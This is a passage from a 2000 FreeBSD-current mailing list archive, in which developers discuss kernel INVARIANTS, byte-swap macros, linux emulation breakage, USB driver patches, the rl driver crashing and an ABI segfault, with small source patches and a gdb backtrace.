everything was already up-to-date from your first update. The bottom line is, do what seems to work well for you. In cases where compression maybe makes a little difference but not much, don't use it. That will help lighten the CPU load on the mirrors. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 20:45:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 0BB0037B4CF; Tue, 31 Oct 2000 20:45:39 -0800 (PST) Received: by relay.butya.kz (Postfix, from userid 1000) id 1588328C89; Wed, 1 Nov 2000 10:45:35 +0600 (ALMT) Received: from localhost (localhost [127.0.0.1]) by relay.butya.kz (Postfix) with ESMTP id 001B628C74; Wed, 1 Nov 2000 10:45:34 +0600 (ALMT) Date: Wed, 1 Nov 2000 10:45:34 +0600 (ALMT) From: Boris Popov To: Eivind Eklund Cc: current@FreeBSD.org Subject: Re: INVARIANTS and -current In-Reply-To: <20001031175851.A75483@warning.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 31 Oct 2000, Eivind Eklund wrote: > I want to enable INVARIANTS by default in -current. This result in some > slowdown, but it also makes it more likely that we'll find bugs quickly. > People that want to run -current should know enough to disable it if it is > in the way, anyway. > > Well-reasoned objections welcome. Yes, running kernel with INVARIANTS is a very good idea (in fact, my -current setup runs it for over a year now). But this option will produce inconsistent data structures in the kernel and modules (just like with SMP case). While it is recommended to avoid modules on -current - I'm don't agree with this statement because many people use them. In any way, fix for this is very simple (it assumes that INVARIANTS defined somewhere in the make.conf or sys.mk): Index: conf/kmod.mk =================================================================== RCS file: /home/ncvs/src/sys/conf/kmod.mk,v retrieving revision 1.83 diff -u -r1.83 kmod.mk --- conf/kmod.mk 2000/09/05 22:37:46 1.83 +++ conf/kmod.mk 2000/09/30 05:55:55 @@ -90,6 +90,10 @@ CFLAGS+= ${COPTS} -D_KERNEL ${CWARNFLAGS} CFLAGS+= -DKLD_MODULE +.if defined(INVARIANTS) +CFLAGS+= -DINVARIANTS +.endif + # Don't use any standard or source-relative include directories. # Since -nostdinc will annull any previous -I paths, we repeat all # such paths after -nostdinc. It doesn't seem to be possible to -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 21: 7: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from cs.utep.edu (mail.cs.utep.edu [129.108.5.3]) by hub.freebsd.org (Postfix) with ESMTP id DEE3637B479; Tue, 31 Oct 2000 21:06:34 -0800 (PST) Received: from gecko (gecko [129.108.5.51]) by cs.utep.edu (8.10.1/8.10.1) with ESMTP id eA156Di03929; Tue, 31 Oct 2000 22:06:14 -0700 (MST) Date: Tue, 31 Oct 2000 22:06:14 -0700 (MST) From: X-Sender: janb@gecko To: Boris Popov Cc: Eivind Eklund , current@FreeBSD.ORG Subject: Re: INVARIANTS and -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Could someone give a quick explanation what INVARIANTS does? JAn On Wed, 1 Nov 2000, Boris Popov wrote: > On Tue, 31 Oct 2000, Eivind Eklund wrote: > > > I want to enable INVARIANTS by default in -current. This result in some > > slowdown, but it also makes it more likely that we'll find bugs quickly. > > People that want to run -current should know enough to disable it if it is > > in the way, anyway. > > > > Well-reasoned objections welcome. > > Yes, running kernel with INVARIANTS is a very good idea (in fact, > my -current setup runs it for over a year now). But this option will > produce inconsistent data structures in the kernel and modules (just like > with SMP case). While it is recommended to avoid modules on -current - I'm > don't agree with this statement because many people use them. > > In any way, fix for this is very simple (it assumes that > INVARIANTS defined somewhere in the make.conf or sys.mk): > > Index: conf/kmod.mk > =================================================================== > RCS file: /home/ncvs/src/sys/conf/kmod.mk,v > retrieving revision 1.83 > diff -u -r1.83 kmod.mk > --- conf/kmod.mk 2000/09/05 22:37:46 1.83 > +++ conf/kmod.mk 2000/09/30 05:55:55 > @@ -90,6 +90,10 @@ > CFLAGS+= ${COPTS} -D_KERNEL ${CWARNFLAGS} > CFLAGS+= -DKLD_MODULE > > +.if defined(INVARIANTS) > +CFLAGS+= -DINVARIANTS > +.endif > + > # Don't use any standard or source-relative include directories. > # Since -nostdinc will annull any previous -I paths, we repeat all > # such paths after -nostdinc. It doesn't seem to be possible to > > -- > Boris Popov > http://www.butya.kz/~bp/ > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 22:47:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 248D837B479; Tue, 31 Oct 2000 22:47:08 -0800 (PST) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id RAA10465; Wed, 1 Nov 2000 17:47:01 +1100 Date: Wed, 1 Nov 2000 17:46:48 +1100 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Ruslan Ermilov Cc: Mike Smith , Bruce Evans , Konstantin Chuguev , Brian Somers , kargl@apl.washington.edu, freebsd-current@FreeBSD.ORG Subject: Re: platform byte order macros? In-Reply-To: <20001031135400.A64533@sunbay.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 31 Oct 2000, Ruslan Ermilov wrote: > On Sat, Oct 28, 2000 at 04:13:46PM +1100, Bruce Evans wrote: > > On Fri, 27 Oct 2000, Ruslan Ermilov wrote: > > > > > On Fri, Oct 27, 2000 at 06:11:49PM +0300, Ruslan Ermilov wrote: > > > > On Fri, Oct 27, 2000 at 07:34:06AM -0700, Mike Smith wrote: > > > > > > +#ifdef __OPTIMIZE__ > > > > > > > > > > Using macros does not "optimise" anything, > > > > Not quite true. Using inline functions pessimizes everything that is > > compiled without -O since the functions don't get inlined but code > > for them is generated in each object file whether or not they are > > used. is included a lot, so having inline functions in > > it is especially pessimal for the -O0 case. > > > Hmm, even if these function declared static? I was not able to > reproduce this with static inline functions. This seems to have been fixed. Do you remember when compiling certain libraries with -O0 -W -Werror broke the world because stdio.h has some static inline functions and there were warnings about these functions being unused? IIRC, code was generated for the functions, so the warning was appropriate. I can't reproduce this behaviour with the current gcc. > > Writing the byte swapping using shifts and masks might be best in all > > cases. The compiler can in theory reduce shifts and masks to bswap on > > i386's if that is best, but it can't look inside asm statements. > > > And in practice (with -O), they are almost equivalent. The following C > code > > #include > > unsigned short > foo(unsigned short a) > { > return (htons(a)); > } > > produces the following asm code diffs when using the current __asm version > compared to the macro version: > ... > -#APP > - xchgb %ah, %al > -#NO_APP > + rolw $8,%ax Good, except there may be a problem with partial register stores (are xchgb's handled better than rolw?). I think we should use a non-asm version for the 16-bit swap. gcc didn't do so well for the 32-bit swap. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 22:59:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by hub.freebsd.org (Postfix) with ESMTP id 608CF37B4C5 for ; Tue, 31 Oct 2000 22:59:49 -0800 (PST) Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30]) by palrel1.hp.com (Postfix) with ESMTP id DE15D2B8F; Tue, 31 Oct 2000 22:59:48 -0800 (PST) Received: from cup.hp.com (p1000180.nsr.hp.com [15.109.0.180]) by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id WAA13209; Tue, 31 Oct 2000 22:59:48 -0800 (PST) Message-ID: <39FFBF64.FEF8AB30@cup.hp.com> Date: Tue, 31 Oct 2000 22:59:48 -0800 From: Marcel Moolenaar Organization: Hewlett-Packard X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Wesley Morgan Cc: freebsd-current@FreeBSD.ORG Subject: Re: linux emulation References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wesley Morgan wrote: > > Anyone having problems with the linuxulator the past couple days? Define "past couple of days". I have a working linuxulator made on Oct 29, 12:25 PST. -- Marcel Moolenaar mail: marcel@cup.hp.com / marcel@FreeBSD.org tel: (408) 447-4222 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 23: 2:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from sol.cc.u-szeged.hu (sol.cc.u-szeged.hu [160.114.8.24]) by hub.freebsd.org (Postfix) with ESMTP id 16DD737B4C5 for ; Tue, 31 Oct 2000 23:02:38 -0800 (PST) Received: from petra.hos.u-szeged.hu by sol.cc.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id IAA28951; Wed, 1 Nov 2000 08:02:13 +0100 (MET) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 13qrut-0000Jo-00 for ; Wed, 01 Nov 2000 08:02:35 +0100 Date: Wed, 1 Nov 2000 08:02:35 +0100 From: Szilveszter Adam To: freebsd-current@FreeBSD.ORG Subject: Re: linux emulation Message-ID: <20001101080235.C846@petra.hos.u-szeged.hu> Mail-Followup-To: freebsd-current@FreeBSD.ORG References: <39FFBF64.FEF8AB30@cup.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i In-Reply-To: <39FFBF64.FEF8AB30@cup.hp.com>; from marcel@cup.hp.com on Tue, Oct 31, 2000 at 10:59:48PM -0800 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 10:59:48PM -0800, Marcel Moolenaar wrote: > Wesley Morgan wrote: > > > > Anyone having problems with the linuxulator the past couple days? > > Define "past couple of days". I have a working linuxulator made on Oct > 29, 12:25 PST. Mine: Mon Oct 30 17:01:15 CET 2000 and works. (using it right now.:-) -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 23: 8:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from warning.follo.net (warning.follo.net [195.204.136.30]) by hub.freebsd.org (Postfix) with ESMTP id 67D9737B479 for ; Tue, 31 Oct 2000 23:08:40 -0800 (PST) Received: (from eivind@localhost) by warning.follo.net (8.9.3/8.9.3) id IAA35648; Wed, 1 Nov 2000 08:07:54 +0100 (CET) Date: Wed, 1 Nov 2000 08:07:54 +0100 From: Eivind Eklund To: janb@cs.utep.edu Cc: Boris Popov , current@FreeBSD.ORG Subject: Re: INVARIANTS and -current Message-ID: <20001101080754.A35516@warning.follo.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: ; from janb@cs.utep.edu on Tue, Oct 31, 2000 at 10:06:14PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 10:06:14PM -0700, janb@cs.utep.edu wrote: > Could someone give a quick explanation what INVARIANTS does? It adds more internal consistency checks to the kernel. This make bugs show up more promptly and in a more predictable fashion, which again makes it easier to fix the bugs. (It also makes the bugs more likely to result in a crash and less likely to result in data corruption, which IMO is good.) Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 0:22: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from kbtfw.kubota.co.jp (kbtfw.kubota.co.jp [133.253.102.202]) by hub.freebsd.org (Postfix) with ESMTP id 1B0C337B4CF for ; Wed, 1 Nov 2000 00:21:58 -0800 (PST) Received: by kbtfw.kubota.co.jp; id RAA13063; Wed, 1 Nov 2000 17:21:51 +0900 (JST) Received: from unknown(133.253.122.4) by kbtfw.kubota.co.jp via smap (V4.2) id xma013006; Wed, 1 Nov 00 17:21:13 +0900 Received: from jkpc15.tk.kubota.co.jp (IDENT:root@kbtgk.eto.kubota.co.jp [133.253.122.3]) by kbtmk.eto.kubota.co.jp (8.11.1/8.11.1) with ESMTP id eA18LCM16208; Wed, 1 Nov 2000 17:21:12 +0900 (JST) Received: from localhost (localhost.tk.kubota.co.jp [127.0.0.1]) by jkpc15.tk.kubota.co.jp (8.11.1/3.7W-02/21/99) with ESMTP id eA18LAY05447; Wed, 1 Nov 2000 17:21:10 +0900 (JST) To: marcel@cup.hp.com Cc: morganw@chemicals.tacorp.com, freebsd-current@FreeBSD.ORG Subject: Re: linux emulation In-Reply-To: <39FFBF64.FEF8AB30@cup.hp.com> References: <39FFBF64.FEF8AB30@cup.hp.com> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20001101172110O.haro@tk.kubota.co.jp> Date: Wed, 01 Nov 2000 17:21:10 +0900 From: Munehiro Matsuda X-Dispatcher: imput version 20000228(IM140) Lines: 37 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: Marcel Moolenaar Date: Tue, 31 Oct 2000 22:59:48 -0800 ::> Anyone having problems with the linuxulator the past couple days? :: ::Define "past couple of days". I have a working linuxulator made on Oct ::29, 12:25 PST. By following commit, makebdev() went away. But there is sys/compat/linux/linux_stats.c:linux_ustat() that still uses it. ---8<------8<------8<------8<--- Cut Here ---8<------8<------8<------8<--- phk 2000/10/31 02:58:17 PST Modified files: sys/i386/i386 autoconf.c sys/kern kern_conf.c sys/sys conf.h Log: Deprecate devsw->d_bmaj entirely. This removes support for booting current kernels with very old bootblocks. Device driver writers: Please remove initializations for the d_bmaj field in your cdevsw{}. ---8<------8<------8<------8<--- Cut Here ---8<------8<------8<------8<--- Hope this helps, Haro =------------------------------------------------------------------------------ _ _ Munehiro (haro) Matsuda -|- /_\ |_|_| Business Incubation Dept., Kubota Corp. /|\ |_| |_|_| 1-3 Nihonbashi-Muromachi 3-Chome Chuo-ku Tokyo 103-8310, Japan Tel: +81-3-3245-3318 Fax: +81-3-3245-3315 Email: haro@kubota.co.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 1:13:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from lists01.iafrica.com (lists01.iafrica.com [196.7.0.141]) by hub.freebsd.org (Postfix) with ESMTP id 7B0C537B4D7 for ; Wed, 1 Nov 2000 01:13:43 -0800 (PST) Received: from nwl.fw.uunet.co.za ([196.31.2.162]) by lists01.iafrica.com with esmtp (Exim 3.12 #2) id 13qtxb-0007J5-00; Wed, 01 Nov 2000 11:13:31 +0200 Received: (from nobody@localhost) by nwl.fw.uunet.co.za (8.8.8/8.6.9) id LAA24079; Wed, 1 Nov 2000 11:13:36 +0200 (SAST) Received: by nwl.fw.uunet.co.za via recvmail id 23973; Wed Nov 1 11:13:12 2000 Received: from sheldonh (helo=axl.fw.uunet.co.za) by axl.fw.uunet.co.za with local-esmtp (Exim 3.16 #1) id 13qtxH-000Gvk-00; Wed, 01 Nov 2000 11:13:11 +0200 From: Sheldon Hearn To: Nathan Boeger Cc: "current@FreeBSD.ORG" Subject: Re: /dev/random strangeness In-reply-to: Your message of "Tue, 31 Oct 2000 13:28:23 PST." <39FF3977.67CB9202@khmere.com> Date: Wed, 01 Nov 2000 11:13:11 +0200 Message-ID: <65083.973069991@axl.fw.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 31 Oct 2000 13:28:23 PST, Nathan Boeger wrote: > I have looked through the list (I am new to this list) and saw some > mention of the /dev/random. However I have a strange problem that was > not mentioned. After I did a proper make world and updated my system to > 5.0-CURRENT, my /dev/random services do not "start ?". You probably haven't used mergemaster(8) to update your /etc/rc script. If you don't know what mergemaster(8) is, you really need to catch up on your documentation reading. A shortcut might be to read src/UPDATING. :-) While you should really have divined this answer from the archives, it's understandable that you may not have read through every single one of the ridiculous messages that have surrounded the recent import of the new random device. When people argue fists first, it makes for a lot of noise. :-( Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 1:23: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [210.226.20.160]) by hub.freebsd.org (Postfix) with ESMTP id 6A32037B4C5; Wed, 1 Nov 2000 01:22:59 -0800 (PST) Received: from waterblue.imgsrc.co.jp (localhost [127.0.0.1]) by waterblue.imgsrc.co.jp (8.11.0/8.11.0) with ESMTP id eA19Mrr28544; Wed, 1 Nov 2000 18:22:53 +0900 (JST) Date: Wed, 01 Nov 2000 18:22:53 +0900 Message-ID: <7msnpcm4gi.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: wpaul@FreeBSD.org Cc: Current Subject: dev/usb/if_aue.c multicast patch User-Agent: Wanderlust/2.3.92 (Roam) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 12) (Channel Islands) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: multipart/mixed; boundary="Multipart_Wed_Nov__1_18:22:53_2000-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Multipart_Wed_Nov__1_18:22:53_2000-1 Content-Type: text/plain; charset=US-ASCII In Japanese mailing-list, Ryoji Kato-san reported patch for if_aue.c to receive multicast packet correctly. # http://www.clave.gr.jp/ml/bsd-nomads/200009/msg00084.html (Japanese) One of problem may be caused by too large mask (1 << (h & 0xF)) for 8 bit register. I'm using this patch and it works fine in IPv6 environment. Bill, please review attached patch or original one in above URL. -- Jun Kuriyama // IMG SRC, Inc. // FreeBSD Project --Multipart_Wed_Nov__1_18:22:53_2000-1 Content-Type: application/octet-stream; type=patch Content-Disposition: attachment; filename="if_aue.c.diff" Content-Transfer-Encoding: 7bit Index: if_aue.c =================================================================== RCS file: /home/ncvs/src/sys/dev/usb/if_aue.c,v retrieving revision 1.31 diff -u -r1.31 if_aue.c --- if_aue.c 2000/10/24 22:38:54 1.31 +++ if_aue.c 2000/10/29 13:11:01 @@ -543,7 +543,7 @@ if (ifma->ifma_addr->sa_family != AF_LINK) continue; h = aue_crc(LLADDR((struct sockaddr_dl *)ifma->ifma_addr)); - AUE_SETBIT(sc, AUE_MAR + (h >> 3), 1 << (h & 0xF)); + AUE_SETBIT(sc, AUE_MAR + (h >> 3), 1 << (h & 0x7)); } return; --Multipart_Wed_Nov__1_18:22:53_2000-1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 4: 8:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from henny.webweaving.org (unknown [212.113.16.243]) by hub.freebsd.org (Postfix) with ESMTP id 6942F37B479 for ; Wed, 1 Nov 2000 04:08:36 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id KAA13732; Wed, 1 Nov 2000 10:24:33 GMT (envelope-from n_hibma@qubesoft.com) Date: Wed, 1 Nov 2000 10:24:33 +0000 (GMT) From: Nick Hibma X-Sender: n_hibma@henny.webweaving.org Reply-To: Nick Hibma To: freebsd-current@freebsd.org Cc: USB BSD list Subject: HP ScanJet 5200C seems to be supported! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Daniel reported that the HP ScanJet 5200C USB scanner works with the uscanner driver. This means that most probably the following scanners now will work: HP ScanJet 4100C HP ScanJet 5200C HP ScanJet 6300C Note: This excludes the 4200C as it _is_ not compatible with the rest of them. Thanks to Daniel for pointing out a silly Cut&Paste error on my side. Please mail me any additional names of devices that work so I can add them to HARDWARE.TXT. Nick -- Qube Software, Ltd. Private: n_hibma@qubesoft.com n_hibma@webweaving.org n_hibma@freebsd.org http://www.qubesoft.com/ http://www.etla.net/~n_hibma/ ---------- Forwarded message ---------- Date: Wed, 01 Nov 2000 11:20:21 +1030 (CST) From: Daniel O'Connor To: Nick Hibma Cc: USB BSD list Subject: Re: HP ScanJet 5200C On 01-Nov-00 Nick Hibma wrote: > > [sound of someone slapping forehead] > > Do'h! Cut&paste error when copying stuff from ugen. > > Here is the patch. Both committed to stable and current. Please let me > know whether this makes your scanner work. It's much more talkative now.. :) :) OK, a preview scan worked great. *bounce* --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 4: 9:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from henny.webweaving.org (unknown [212.113.16.243]) by hub.freebsd.org (Postfix) with ESMTP id 9C90037B479; Wed, 1 Nov 2000 04:09:37 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id KAA13745; Wed, 1 Nov 2000 10:38:46 GMT (envelope-from n_hibma@qubesoft.com) Date: Wed, 1 Nov 2000 10:38:46 +0000 (GMT) From: Nick Hibma X-Sender: n_hibma@henny.webweaving.org Reply-To: Nick Hibma To: Takanori Watanabe Cc: Tatsumi Hosokawa , wpaul@freebsd.org, current@freebsd.org Subject: Re: "Driver Floppy" implementation (Re: "make release" breakage - dokern.sh patch 2) In-Reply-To: <200010301415.XAA01311@shidahara1.planet.sci.kobe-u.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm not sure whether the problem of loading secondary usb modules is a problem in 4.x but it is easy to try. Boot a machine without usb support compiled in. after login, kldload usb, then the miibus and then the if_aue modules. If that works, you should be ok. I cannot test this as at the moment as I don't have a STABLE box (will have once the first RC comes out of JKH factories). Nick On Mon, 30 Oct 2000, Takanori Watanabe wrote: > In message <86em10t27x.wl@ringo.FromTo.Cc>, Tatsumi Hosokawa $B$5$s$$$o$/(B: > > > >I moved PCI/PCCARD/USB if_xx.ko driver to mfsroot.flp, and I've got > >100KB of free blocks in the first floppy. If we move more drivers to > >mfsroot.flp or coming drivers.flp, we can get not only free blocks in > >the first floppy, but also more installation devices. > > Just FYI: If usb itself is module-ifed, > USB ether modules cannot be load until MODULE_DEPEND,MODULE_VERSION > is defined. > > Takanori Watanabe > > Public Key > Key fingerprint = 2C 51 E2 78 2C E1 C5 2D 0F F1 20 A3 11 3A 62 2A > -- Qube Software, Ltd. Private: n_hibma@qubesoft.com n_hibma@webweaving.org n_hibma@freebsd.org http://www.qubesoft.com/ http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 5: 3:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from xkis.kis.ru (xkis.kis.ru [195.98.32.200]) by hub.freebsd.org (Postfix) with ESMTP id 6A79C37B479 for ; Wed, 1 Nov 2000 05:03:14 -0800 (PST) Received: from localhost (dv@localhost) by xkis.kis.ru (8.9.3/8.9.3) with SMTP id QAA23468 for ; Wed, 1 Nov 2000 16:03:09 +0300 (MSK) Date: Wed, 1 Nov 2000 16:03:08 +0300 (MSK) From: Dmitry Valdov X-Sender: dv@xkis.kis.ru To: current@freebsd.org Subject: rl driver problem in -current Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! There is a problem in rl's driver in recent -current kernel. ... rl0: Realtek .... rl0: couldn't map memory kernel trap 12 with interrupts disabled .... -current kernel from 20 Oct 2000 works fine. I know I should provide more info about trap, but I can't cut'n'paste boot messages. What information _exactly_ needed to fix it? Dmitry. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 8:54:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from cs.utep.edu (mail.cs.utep.edu [129.108.5.3]) by hub.freebsd.org (Postfix) with ESMTP id 3D85237B4C5 for ; Wed, 1 Nov 2000 08:54:23 -0800 (PST) Received: from gecko (gecko [129.108.5.51]) by cs.utep.edu (8.10.1/8.10.1) with ESMTP id eA1Gs0Z06904; Wed, 1 Nov 2000 09:54:00 -0700 (MST) Date: Wed, 1 Nov 2000 09:53:59 -0700 (MST) From: X-Sender: janb@gecko To: "Daniel O'Connor" Cc: freebsd-current@freebsd.org Subject: RE: making an install CD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I tried this, but the make fails with error install:/usr/obj/usr/src/include/osreldate.h: No such file or directory I just got the brand new current source, rebuilt the world and updated the kernel. If the source file is supposed to be there, its probably missing on the server. Any toughts - am I doing something wrong? Jan On Wed, 1 Nov 2000, Daniel O'Connor wrote: > > On 01-Nov-00 janb@cs.utep.edu wrote: > > Does anybody have a link to instructions for making an install CD with the > > 'current' state. > > Well, you need to have the CVS repo handy for starters, then try > > cd /usr/src/release > make release CHROOTDIR=/some/place/with/space CVSROOT=/my/cvsroot > > Read the Makefile for handy tips :) > > --- > Daniel O'Connor software and network engineer > for Genesis Software - http://www.gsoft.com.au > "The nice thing about standards is that there > are so many of them to choose from." > -- Andrew Tanenbaum > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 9:17:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id AF6E837B4C5; Wed, 1 Nov 2000 09:17:33 -0800 (PST) Received: from vic.sabbo.net (root@vic.sabbo.net [193.193.218.109]) by blizzard.sabbo.net (8.10.1/8.10.1) with ESMTP id eA1IJLt03675; Wed, 1 Nov 2000 20:19:22 +0200 Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.11.0/8.9.3) with ESMTP id eA1HHUM15994; Wed, 1 Nov 2000 19:17:30 +0200 (EET) (envelope-from sobomax@FreeBSD.org) Message-ID: <3A005026.47B9978C@FreeBSD.org> Date: Wed, 01 Nov 2000 19:17:26 +0200 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: current@FreeBSD.org, jdp@FreeBSD.org, obrien@FreeBSD.org Subject: ABI is broken?? Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I'm not sure what exactly caused this behaviour (I can guess two potential victims: O'Brien's changes in crt stuff and recent Polstra's changes in libgcc_r), but it seems that some programs built on the previous -current from 27 October immediately segfault when I'm trying to run then on system installed from today's sources. The segfault disappeared when I recompiled affected program. With this message I'm attaching short backtrace. -Maxim root@notebook# galeon GNU gdb 4.18 This GDB was configured as "i386-unknown-freebsd"... (no debugging symbols found)... (gdb) r Starting program: /usr/X11R6/bin/galeon-bin (no debugging symbols found)... [...] (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 (gdb) bt #0 0x287de417 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 #1 0x806e782 in __register_frame_info () #2 0x287a3137 in _init () from /usr/lib/libc_r.so.4 #3 0x2879ffe5 in _init () from /usr/lib/libc_r.so.4 #4 0x280797fd in _rtld () from /usr/libexec/ld-elf.so.1 (gdb) q To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 9:19:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.du.gtn.com (mail.du.gtn.com [194.77.9.57]) by hub.freebsd.org (Postfix) with ESMTP id E7B1C37B4E5 for ; Wed, 1 Nov 2000 09:19:25 -0800 (PST) Received: from mail.cicely.de (cicely.de [194.231.9.142]) by mail.du.gtn.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id eA1HJ8l25916 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK) for ; Wed, 1 Nov 2000 